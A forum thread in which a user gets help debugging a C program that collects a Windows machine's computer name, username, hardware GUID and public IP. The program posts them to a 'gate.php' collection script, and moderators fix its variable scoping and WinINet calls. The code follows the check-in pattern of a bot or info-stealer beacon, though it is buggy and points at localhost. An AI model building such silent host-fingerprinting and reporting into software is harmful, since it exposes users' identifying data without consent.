CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Results 1 to 14 of 14

Thread: [Help] Wininet Aplication does not Send to php File.

  1. #1
    Join Date
    May 2013
    Posts
    46

    Question [Help] Wininet Aplication does not Send to php File.

    Good evening,

    Please help. This code doesnt send parameters to mysql database vis WININET post, i see it send empty fields, what exactly could be the problem

    my code goes thus
    Code:
    #include <stdio.h>
    #include <windows.h>
    #include <string.h>
    #include <Wininet.h>
    
    #define PAGE_NAME "gate.php"
    
    #pragma comment (lib, "wininet")
    
    void compName()
    	{
    	LPCSTR compName = getenv("COMPUTERNAME");
    	printf("Computer name is : %s\n",compName);
    	
    	}
    
    
    void userName()
    {
    	LPCSTR userName = getenv("USERNAME");
    	printf("UserName is : %s\n",userName);
    	
    }
    
    void hWid()
    {
    	HW_PROFILE_INFO hwProfileInfo;
    	if(GetCurrentHwProfile(&hwProfileInfo))
    	{
    	LPCSTR hWid = hwProfileInfo.szHwProfileGuid;
    	printf("HWID: %s\n",hWid);
    	}
    }
    
    void ip()
    	{
    	  HINTERNET hInternet , hFile;
    	  DWORD rSize;
    	  char ip[50];
    	  hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
    	  hFile = InternetOpenUrlA(hInternet,"http://housenaija.com/ip/ip.php",NULL,0,INTERNET_FLAG_RELOAD,0);
    	  InternetReadFile(hFile,&ip,sizeof(ip),&rSize);
    	  ip[rSize] ='\0';
    
    	  InternetCloseHandle(hFile);
    	  InternetCloseHandle(hInternet);
    		
    	 printf("IP adress : %s \n",ip);
    	}
    
    void sendPCInfo()
    	{
    	  char hWid[50];
    	  char compName[50];
    	  char userName[50];
    	  char ip[50];
    	  static TCHAR hdrs[] = TEXT("Content-Type: application/x-www-form-urlencoded");
    	  static TCHAR accept[] = "Accept: */*";
    
    	  LoadLibraryA("wininet.dll");
    	  
    
    	  // trying to do a concatenation for gate.php?hWid=&compName=&userName=&ip= to save string to Database
    	  char* data = (char*)VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	  strcpy(data,PAGE_NAME);
    	  lstrcat(data,PAGE_NAME);
    	  lstrcat(data,"?&hWid=%s");
    	  lstrcat(data,hWid);
    	  lstrcat(data,"&compName=%s");
    	  lstrcat(data,(const char*)&compName);
    	  lstrcat(data,"&userName=%s");
    	  lstrcat(data,(const char*)&userName);
    	  lstrcat(data,"&ip=%s");
    	  lstrcat(data,(const char*)&ip);
    
    	      //HINTERNET hSession;
    		  //HINTERNET hConnect;
    		  //HINTERNET hRequest;
    	
    	  HINTERNET hSession = InternetOpen("Soldier",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
    	
    	  HINTERNET hConnect = InternetConnect(hSession,"localhost",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,1);
    	
    	  HINTERNET hRequest = HttpOpenRequest(hConnect,"POST","/pcinfo/gate2.php",NULL,NULL,(const char**)"text/*",0,1);
    	
    	  HttpSendRequestA(hRequest,"Content-Type: app1ication/x-www-form-urlencoded",strlen("Content-Type: app1ication/x-www-form-urlencoded"),data,strlen(data));;
    	
    	InternetCloseHandle(hRequest);
    			InternetCloseHandle(hConnect);
    				InternetCloseHandle(hSession);
    
    				MessageBox(NULL,"PC Information Sent Successfully","Sent Info",MB_ICONINFORMATION | MB_OK);
    
    	}
    
     
    int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
    	{
    	compName();
    	userName();
    	hWid();
    	ip();
    	sendPCInfo();
    	system("pause");
    	}
    Now my php looks like this
    Code:
    <?php
    $hwid = $_POST['hWid'];
    $compName = $_POST['compName'];
    $userName = $_POST['userName'];
    $ip = $_POST['ip'];
    
    $msg = "$hwid + $compName + $userName + $ip";
    $file = fopen("test.txt","w");
    fwrite($file,$msg);
    fclose($file);
    ?>

  2. #2
    GCDEF is offline Elite Member Power Poster
    Join Date
    Nov 2003
    Location
    Florida
    Posts
    12,578

    Re: [Help] Wininet Aplication does not Send to php File.

    Your variable compName in function compName() is not the same variable as compName in sendPCInfo(). Same problem with the others.

    FWIW, I wouldn't recommend giving variable and functions the same names.

  3. #3
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    7,117

    Re: [Help] Wininet Aplication does not Send to php File.

    In the function compName(), the variable compName is a local variable with scope only within that function and has no relation to any other variable of that name elsewhere. The variable compName and the function compName() are not related and having a variable name with the same name as the function doesn't return the value of the variable. If a function is to return a value then this value must be explicitly returned. The same for the other functions. eg for compName()
    Code:
    LPCSTR compName()
    	{
    	LPCSTR compName = getenv("COMPUTERNAME");
    	printf("Computer name is : %s\n",compName);
            return compName;
    	}
    Rather than calling compName(), userName() etc in main, why not call them in sendPCInfo()?
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++17 Compiler: Microsoft VS2019 (16.6.0)

  4. #4
    Join Date
    May 2013
    Posts
    46

    Re: [Help] Wininet Aplication does not Send to php File.

    Quote Originally Posted by GCDEF View Post
    Your variable compName in function compName() is not the same variable as compName in sendPCInfo(). Same problem with the others.

    FWIW, I wouldn't recommend giving variable and functions the same names.

    Thanks a whole lot for the reply,
    I checked through i didnt see any differences else Visual Studio c++ should have thrown back an error. Please kindly show me what you mean as i dont seem to see any errors in my code, just warnings.

  5. #5
    Join Date
    May 2013
    Posts
    46

    Re: [Help] Wininet Aplication does not Send to php File.

    Quote Originally Posted by 2kaud View Post
    In the function compName(), the variable compName is a local variable with scope only within that function and has no relation to any other variable of that name elsewhere. The variable compName and the function compName() are not related and having a variable name with the same name as the function doesn't return the value of the variable. If a function is to return a value then this value must be explicitly returned. The same for the other functions. eg for compName()
    Code:
    LPCSTR compName()
    	{
    	LPCSTR compName = getenv("COMPUTERNAME");
    	printf("Computer name is : %s\n",compName);
            return compName;
    	}
    Rather than calling compName(), userName() etc in main, why not call them in sendPCInfo()?
    tried the same u said, still doesnt send the data. very confused ..

  6. #6
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    7,117

    Re: [Help] Wininet Aplication does not Send to php File.

    Just because the compiler doesn't indicate that there are compile errors and the code compiles without error doesn't mean that the code is correct for what you intend it to do!

    Have you read and understood my post #3?
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++17 Compiler: Microsoft VS2019 (16.6.0)

  7. #7
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    7,117

    Re: [Help] Wininet Aplication does not Send to php File.

    tried the same u said, still doesnt send the data. very confused ..
    Have you changed all the functions and how they are called? Post your current code.
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++17 Compiler: Microsoft VS2019 (16.6.0)

  8. #8
    Join Date
    May 2013
    Posts
    46

    Re: [Help] Wininet Aplication does not Send to php File.

    Quote Originally Posted by 2kaud View Post
    Have you changed all the functions and how they are called? Post your current code.
    goes like this

    Code:
    #include <stdio.h>
    #include <windows.h>
    #include <string.h>
    #include <Wininet.h>
    
    #define PAGE_NAME "gate.php"
    
    #pragma comment (lib, "wininet")
    
    void GetCompName()
    	{
    	LPCSTR compName = getenv("COMPUTERNAME");
    	printf("Computer name is : %s\n",compName);
    	
    	}
    
    
    void GetUserName()
    {
    	LPCSTR userName = getenv("USERNAME");
    	printf("UserName is : %s\n",userName);
    	
    }
    
    void GethWid()
    {
    	HW_PROFILE_INFO hwProfileInfo;
    	if(GetCurrentHwProfile(&hwProfileInfo))
    	{
    	LPCSTR hWid = hwProfileInfo.szHwProfileGuid;
    	printf("HWID: %s\n",hWid);
    	}
    }
    
    void GetIp()
    	{
    	  HINTERNET hInternet , hFile;
    	  DWORD rSize;
    	  char ip[50];
    	  hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
    	  hFile = InternetOpenUrlA(hInternet,"http://housenaija.com/ip/ip.php",NULL,0,INTERNET_FLAG_RELOAD,0);
    	  InternetReadFile(hFile,&ip,sizeof(ip),&rSize);
    	  ip[rSize] ='\0';
    
    	  InternetCloseHandle(hFile);
    	  InternetCloseHandle(hInternet);
    		
    	 printf("IP adress : %s \n",ip);
    	}
    
    void sendPCInfo()
    	{
    	GetCompName();
    	GetUserName();
    	GethWid();
    	GetIp();
    	  char hWid[50];
    	  char compName[50];
    	  char userName[50];
    	  char ip[50];
    	  static TCHAR hdrs[] = TEXT("Content-Type: application/x-www-form-urlencoded");
    	  static TCHAR accept[] = "Accept: */*";
    
    	  LoadLibraryA("wininet.dll");
    	  
    
    	  // trying to do a concatenation for gate.php?hWid=&compName=&userName=&ip= to save string to Database
    	  char* data = (char*)VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	  strcpy(data,PAGE_NAME);
    	  lstrcat(data,PAGE_NAME);
    	  lstrcat(data,"?&hWid=%s");
    	  lstrcat(data,hWid);
    	  lstrcat(data,"&compName=%s");
    	  lstrcat(data,(const char*)&compName);
    	  lstrcat(data,"&userName=%s");
    	  lstrcat(data,(const char*)&userName);
    	  lstrcat(data,"&ip=%s");
    	  lstrcat(data,(const char*)&ip);
    
    	      //HINTERNET hSession;
    		  //HINTERNET hConnect;
    		  //HINTERNET hRequest;
    	
    	  HINTERNET hSession = InternetOpen("Soldier",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
    	
    	  HINTERNET hConnect = InternetConnect(hSession,"localhost",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,1);
    	
    	  HINTERNET hRequest = HttpOpenRequest(hConnect,"POST","/pcinfo/gate2.php",NULL,NULL,(const char**)"text/*",0,1);
    	
    	  HttpSendRequestA(hRequest,"Content-Type: app1ication/x-www-form-urlencoded",strlen("Content-Type: app1ication/x-www-form-urlencoded"),data,strlen(data));;
    	
    	InternetCloseHandle(hRequest);
    			InternetCloseHandle(hConnect);
    				InternetCloseHandle(hSession);
    
    				MessageBox(NULL,"PC Information Sent Successfully","Sent Info",MB_ICONINFORMATION | MB_OK);
    
    	}
    
     
    int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
    	{
    	sendPCInfo();
    	system("pause");
    	}

  9. #9
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    7,117

    Re: [Help] Wininet Aplication does not Send to php File.

    And the changes I suggested in my post #3 re the functions? - you're just ignored them!

    You need something like this - not tested
    Code:
    #include <stdio.h>
    #include <windows.h>
    #include <string.h>
    #include <Wininet.h>
    
    #define PAGE_NAME "gate.php"
    
    #pragma comment (lib, "wininet")
    
    LPCSTR hWid()
    {
    LPCSTR hWind = NULL;
    
    	HW_PROFILE_INFO hwProfileInfo;
    	if (GetCurrentHwProfile(&hwProfileInfo))
    	{
    		hWind = hwProfileInfo.szHwProfileGuid;
    	}
    	return hWind;
    }
    
    LPCSTR ip()
    {
    HINTERNET hInternet, hFile;
    DWORD rSize;
    static char ipa[50];
    
    	hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    	hFile = InternetOpenUrlA(hInternet, "http://housenaija.com/ip/ip.php", NULL, 0, INTERNET_FLAG_RELOAD, 0);
    	InternetReadFile(hFile, &ipa, sizeof(ipa) - 1, &rSize);
    	ipa[rSize] = '\0';
    
    	InternetCloseHandle(hFile);
    	InternetCloseHandle(hInternet);
    
    	return ipa;
    }
    
    void sendPCInfo()
    {
    static TCHAR hdrs[] = TEXT("Content-Type: application/x-www-form-urlencoded");
    static TCHAR accept[] = "Accept: */*";
    
    // trying to do a concatenation for gate.php?hWid=&compName=&userName=&ip= to save string to Database
    char* data = (char*)VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    	lstrcpy(data, PAGE_NAME);
    	lstrcat(data, PAGE_NAME);
    	lstrcat(data, "?&hWid=%s");
    	lstrcat(data, hWid());
    	lstrcat(data, "&compName=%s");
    	lstrcat(data, getenv("COMPUTERNAME"));
    	lstrcat(data, "&userName=%s");
    	lstrcat(data, getenv("USERNAME"));
    	lstrcat(data, "&ip=%s");
    	lstrcat(data, ip());
    
    	HINTERNET hSession = InternetOpen("Soldier", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    
    	HINTERNET hConnect = InternetConnect(hSession, "localhost", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
    
    	HINTERNET hRequest = HttpOpenRequest(hConnect, "POST", "/pcinfo/gate2.php", NULL, NULL, (const char**)"text/*", 0, 1);
    
    	HttpSendRequestA(hRequest, "Content-Type: app1ication/x-www-form-urlencoded", strlen("Content-Type: app1ication/x-www-form-urlencoded"), data, strlen(data));;
    
    	InternetCloseHandle(hRequest);
    	InternetCloseHandle(hConnect);
    	InternetCloseHandle(hSession);
    
    	MessageBox(NULL, "PC Information Sent Successfully", "Sent Info", MB_ICONINFORMATION | MB_OK);
    
    }
    
    
    int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
    {
    	sendPCInfo();
    	system("pause");
    }
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++17 Compiler: Microsoft VS2019 (16.6.0)

  10. #10
    Join Date
    May 2013
    Posts
    46

    Re: [Help] Wininet Aplication does not Send to php File.

    2kaud, thanks. again for your help.... still getting the empty results. i dont have an idea why, is there any thing we not doing corectly

  11. #11
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    7,117

    Re: [Help] Wininet Aplication does not Send to php File.

    On my pc this test code
    Code:
    #include <stdio.h>
    #include <windows.h>
    #include <string.h>
    #include <Wininet.h>
    
    #define PAGE_NAME "gate.php"
    
    #pragma comment (lib, "wininet")
    
    LPCSTR hWid()
    {
    LPCSTR hWind = NULL;
    
    	HW_PROFILE_INFO hwProfileInfo;
    	if (GetCurrentHwProfile(&hwProfileInfo))
    	{
    		hWind = hwProfileInfo.szHwProfileGuid;
    	}
    	return hWind;
    }
    
    LPCSTR ip()
    {
    HINTERNET hInternet, hFile;
    DWORD rSize;
    static char ipa[50];
    
    	hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    	hFile = InternetOpenUrlA(hInternet, "http://housenaija.com/ip/ip.php", NULL, 0, INTERNET_FLAG_RELOAD, 0);
    	InternetReadFile(hFile, &ipa, sizeof(ipa) - 1, &rSize);
    	ipa[rSize] = '\0';
    
    	InternetCloseHandle(hFile);
    	InternetCloseHandle(hInternet);
    
    	return ipa;
    }
    
    void sendPCInfo()
    {
    static TCHAR hdrs[] = TEXT("Content-Type: application/x-www-form-urlencoded");
    static TCHAR accept[] = "Accept: */*";
    
    // trying to do a concatenation for gate.php?hWid=&compName=&userName=&ip= to save string to Database
    char* data = (char*)VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    	lstrcpy(data, PAGE_NAME);
    	lstrcat(data, "?&hWid=%s");
    	lstrcat(data, hWid());
    	lstrcat(data, "&compName=%s");
    	lstrcat(data, getenv("COMPUTERNAME"));
    	lstrcat(data, "&userName=%s");
    	lstrcat(data, getenv("USERNAME"));
    	lstrcat(data, "&ip=%s");
    	lstrcat(data, /*ip()*/"127.0.0.1");
    
    	printf("data : %s\n", data);
    	return ;
    }
    
    int main()
    {
    	sendPCInfo();
    
    }
    displays
    Code:
    data : gate.php?&hWid=%s{846ee340-7039-11de-9d20-806e6f6e6963}&compName=%sDELL_WIN7&userName=%sadmin1&ip=%s127.0.0.1
    what is the value of data on your system - and is it as expected?

    If the value of data is as expected, then what are you receiving?

    If the value of data is not as expected, then what is the value of data and what would you expect it to be?
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++17 Compiler: Microsoft VS2019 (16.6.0)

  12. #12
    GCDEF is offline Elite Member Power Poster
    Join Date
    Nov 2003
    Location
    Florida
    Posts
    12,578

    Re: [Help] Wininet Aplication does not Send to php File.

    You need to understand what I said in post number 2 and 2kaud said in post number 3. The variables you're inputting data to are not the same variables you're outputting. A variable declared inside a function only exists inside that function.

  13. #13
    Join Date
    May 2013
    Posts
    46

    Re: [Help] Wininet Aplication does not Send to php File.

    Ok then, now i tried the code and it shows on console now its sending it over via Wininet GET thats my problem

    now here is my full code
    Code:
    #include <stdio.h>
    #include <windows.h>
    #include <string.h>
    #include <Wininet.h>
    
    #define PAGE_NAME "gate.php"
    
    #pragma comment (lib, "wininet")
    
    LPCSTR hWid()
    {
    LPCSTR hWind = NULL;
    
    	HW_PROFILE_INFO hwProfileInfo;
    	if (GetCurrentHwProfile(&hwProfileInfo))
    	{
    		hWind = hwProfileInfo.szHwProfileGuid;
    	}
    	return hWind;
    }
    
    LPCSTR ip()
    {
    HINTERNET hInternet, hFile;
    DWORD rSize;
    static char ipa[50];
    
    	hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    	hFile = InternetOpenUrlA(hInternet, "http://housenaija.com/ip/ip.php", NULL, 0, INTERNET_FLAG_RELOAD, 0);
    	InternetReadFile(hFile, &ipa, sizeof(ipa) - 1, &rSize);
    	ipa[rSize] = '\0';
    
    	InternetCloseHandle(hFile);
    	InternetCloseHandle(hInternet);
    
    	return ipa;
    }
    
    void sendPCInfo()
    {
    HINTERNET hSession = InternetOpen("AppName",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
           
              HINTERNET hConnect = InternetConnect(hSession,"localhost",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0);
           
              HINTERNET hRequest = HttpOpenRequest(hConnect,"GET","/pcinfo/gate.php?hWid=hWid()&compName=getenv("COMPUTERNAME")&userName=getenv("USERNAME")&ip=127.0.0.1",NULL,NULL,NULL,0,0);
           
              //HttpSendRequest(hRequest,NULL,0,data,strlen(data));
           
           
                    InternetCloseHandle(hRequest);
                            InternetCloseHandle(hConnect);
                                    InternetCloseHandle(hSession);
     
                                    MessageBox(NULL,"PC Information Sent Successfully","Sent Info",MB_ICONINFORMATION | MB_OK);
    
    	}
    
     
    int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
    	{
    
    	/*hWid();
    	ip();*/
    	sendPCInfo();
    	system("pause");
    	return TRUE ;
    	}
    I get this as errors

    Code:
    1>------ Build started: Project: PCinformation, Configuration: Debug Win32 ------
    1>Build started 24/01/2015 09:31:11.
    1>InitializeBuildStatus:
    1>  Creating "Debug\PCinformation.unsuccessfulbuild" because "AlwaysCreate" was specified.
    1>ClCompile:
    1>  main.cpp
    1>c:\users\***\desktop\****\pcinformation\pcinformation\main.cpp(45): error C2146: syntax error : missing ')' before identifier 'COMPUTERNAME'
    1>c:\users\***\desktop\*****\pcinformation\pcinformation\main.cpp(45): error C2660: 'HttpOpenRequestA' : function does not take 3 arguments
    1>c:\users\****\desktop\*****\pcinformation\pcinformation\main.cpp(45): error C2059: syntax error : ')'
    1>
    1>Build FAILED.
    1>
    1>Time Elapsed 00:00:03.61
    ========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========
    Last edited by mindjos; January 24th, 2015 at 03:33 AM.

  14. #14
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    7,117

    Re: [Help] Wininet Aplication does not Send to php File.

    Code:
    HINTERNET hRequest = HttpOpenRequest(hConnect,"GET","/pcinfo/gate.php?hWid=hWid()&compName=getenv("COMPUTERNAME")&userName=getenv("USERNAME")&ip=127.0.0.1",NULL,NULL,NULL,0,0);
    No, you can't do this. You are trying to embed a string within a string and have a function called as part of the string. That's why the required data to be sent was first composed into the variable data which was then used with HttpSendRequest().

    Your HttpOpenRequest() is not properly formatted for the accept types. This needs to be a NULL terminated array of strings - you have a null terminated string which is not the same.

    You are also not checking the return value of the functions to see if an error occurred.

    This is a test version of sendPCInfo(). It will just send the text "This is test data". If you try this function and don't get this text sent/received then there is a problem with the network sending/receiving. You'll need to check that you have the parameters correct to the various api's.

    Code:
    void sendPCInfo()
    {
    LPCSTR rgpszAcceptTypes[] = {"text/*", NULL};
    const char content[] = "Content-Type: app1ication/x-www-form-urlencoded";
    const char data[] = "This is test data";
    
    HINTERNET hSession = InternetOpen("Soldier", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    	if (hSession == NULL)
    		MessageBox(NULL, "Bad InternetOpen", "Error", MB_OK);
    
    HINTERNET hConnect = InternetConnect(hSession, "localhost", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
    	if (hConnect == NULL)
    		MessageBox(NULL, "Bad InternetConect", "Error", MB_OK);
    
    HINTERNET hRequest = HttpOpenRequest(hConnect, "POST", "/pcinfo/gate2.php", NULL, NULL, rgpszAcceptTypes, 0, 1);
    	if (hRequest == NULL)
    		MessageBox(NULL, "Bad OpenRequest", "Error", MB_OK);
    
    	if (HttpSendRequestA(hRequest, content, strlen(content), (LPVOID)data, strlen(data)) == NULL)
    		MessageBox(NULL, "Bad SendRequest", "Error", MB_OK);
    	else
    		MessageBox(NULL, "PC Information Sent Successfully", "Sent Info", MB_ICONINFORMATION | MB_OK);
    
    	InternetCloseHandle(hRequest);
    	InternetCloseHandle(hConnect);
    	InternetCloseHandle(hSession);
    }
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++17 Compiler: Microsoft VS2019 (16.6.0)

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  


Windows Mobile Development Center


Click Here to Expand Forum to Full Width




On-Demand Webinars (sponsored)